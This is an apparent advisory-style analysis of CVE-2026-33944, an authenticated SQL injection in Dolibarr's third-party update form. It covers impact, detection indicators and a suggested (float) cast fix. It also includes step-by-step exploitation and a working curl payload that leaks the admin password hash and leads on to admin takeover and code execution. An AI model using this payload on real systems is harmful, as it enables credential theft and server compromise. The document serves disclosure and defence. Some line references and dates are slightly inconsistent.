CVE-2026-33944: 
PHP 脆弱性分析と緩和策

CVE-2026-33944 is a SQL Injection vulnerability in the Third Party (Company) update functionality of Dolibarr ERP/CRM, affecting all versions up to and including v23.0.0. The localtax1_value parameter (lt1) is concatenated directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without escaping, type casting, or parameterized query binding. Discovered by Grzegorz Tworek (F37I5H) of sec4check and published on October 21, 2026, with the GitHub Advisory Database entry updated October 27, 2026. It carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory).

The root cause is CWE-89 (Improper Neutralization of Special Elements used in an SQL Command). The vulnerable parameter is populated via GETPOST('lt1', 'alpha') in societe/card.php at line 1135; the only sanitization applied is trim() at line 1528 — no (float) cast and no $db->escape() call. The alpha input filter strips HTML tags and double quotes but leaves single quotes, parentheses, commas, and SQL keywords intact. Critically, because the injection point is in a numeric SQL context (no surrounding quotes), an attacker does not need any of the filtered characters to inject arbitrary SQL. Dolibarr's built-in WAF (waf.inc.php) only inspects GET parameters for SQL injection patterns, so the POST-based lt1 parameter bypasses it entirely. The same flaw exists for localtax2_value (parameter lt2) at line 1682. A public PoC with a working curl command is available in the GitHub Security Advisory (GitHub Advisory).

An authenticated attacker with only standard "Third Party: Create/Edit" permission — not administrator — can read any data from the database, including unsalted MD5 password hashes, API keys, customer and supplier records, invoices, and bank account details. The injection also allows modification of arbitrary database records via additional SET clauses injected into the UPDATE statement. Because Dolibarr stores passwords as unsalted MD5 hashes by default, cracked credentials can enable full administrative access, which in turn can lead to Remote Code Execution through admin features such as the Website module's PHP injection or ModuleBuilder (GitHub Advisory).

A public proof-of-concept exploit with detailed reproduction steps and a working curl command is available in the GitHub Security Advisory, published October 27, 2026. Exploitation requires only a valid Dolibarr account with "Third Party: Create/Edit" permission and network access to the application. As of the advisory publication date, there is no confirmed evidence of in-the-wild exploitation. No CISA KEV listing or threat actor attribution has been reported. The CVE status remains "Reserved" and no EPSS score is currently published (GitHub Advisory).

1. Authenticate: Log in to the target Dolibarr instance with any account that has "Third Parties: Create/Edit" permission (standard user, not admin required).
2. Navigate to a Third Party record: Open or create any existing company/third-party record and click "Edit" to load the update form.
3. Intercept the POST request: Use a proxy tool such as Burp Suite to intercept the form submission to societe/card.php.
4. Inject the SQL payload: Add or modify the following POST body parameters:

   localtax1assuj_value=1
   lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)

5. Submit the request: Forward the modified request. The server responds with HTTP 302 Found, indicating a successful update.
6. Retrieve exfiltrated data: Navigate to the company's Notes tab — the admin's MD5 password hash now appears in the "Private Note" field.
7. Crack the hash and escalate: Crack the unsalted MD5 hash offline (e.g., using hashcat or online rainbow tables) to recover the admin password, then log in as admin.
8. Achieve RCE (optional): With admin access, leverage Dolibarr's Website module PHP injection or ModuleBuilder to execute arbitrary code on the server.

curl PoC:

curl -b cookies.txt \
  --data-urlencode "action=update" \
  --data-urlencode "token=CSRF_TOKEN" \
  --data-urlencode "socid=1" \
  --data-urlencode "name=TestCompany" \
  --data-urlencode "status=1" \
  --data-urlencode "localtax1assuj_value=1" \
  --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
  --data-urlencode "client=1" \
  --data-urlencode "typent_id=0" \
  "http://TARGET/societe/card.php?socid=1"

(GitHub Advisory)

• Network: Unusual POST requests to /societe/card.php containing SQL keywords (SELECT, FROM, WHERE, COUNT) or subquery syntax in the lt1 or lt2 POST body parameters; arithmetic expressions (e.g., 3+4) in those fields.
• Logs: Web server access logs showing POST requests to societe/card.php with abnormally long or syntactically unusual lt1/lt2 values; HTTP 302 responses following such requests indicating successful form submission.
• Database: Unexpected or garbled values in the localtax1_value or localtax2_value columns of the llx_societe table (e.g., numeric results of SQL expressions); password hashes or sensitive strings appearing in the note_private field of company records in llx_societe.
• Application: Company records with note_private fields suddenly populated with MD5 hash strings (32-character hexadecimal) or other database-derived values not entered by legitimate users. (GitHub Advisory)

As of the advisory publication date, no patched version of Dolibarr has been released — the affected versions listed are all releases up to and including v23.0.0 with "Patched versions: None" (GitHub Advisory). The suggested code fix is to add a (float) cast at societe.class.php line 1528 ($this->localtax1_value = (float) price2num(trim($this->localtax1_value));) and at line 1672 ($sql .= ",localtax1_value =".((float) $this->localtax1_value);), with the same fix applied to localtax2_value at lines 1529 and 1682. As an immediate workaround, restrict "Third Party: Create/Edit" permissions to only fully trusted users, and monitor POST requests to societe/card.php for SQL injection patterns. Organizations should track the Dolibarr repository for a patched release and apply it as soon as available.

The vulnerability was reported by Grzegorz Tworek (F37I5H) of sec4check, who plans to publish a detailed write-up at https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html after a patch is released. The advisory was published by Dolibarr maintainer eldy on October 21, 2026, and indexed by Tenable, VulnDB, OSV, and GitLab Advisories shortly after. No broader media coverage or notable community debate has been identified beyond standard vulnerability database indexing (GitHub Advisory).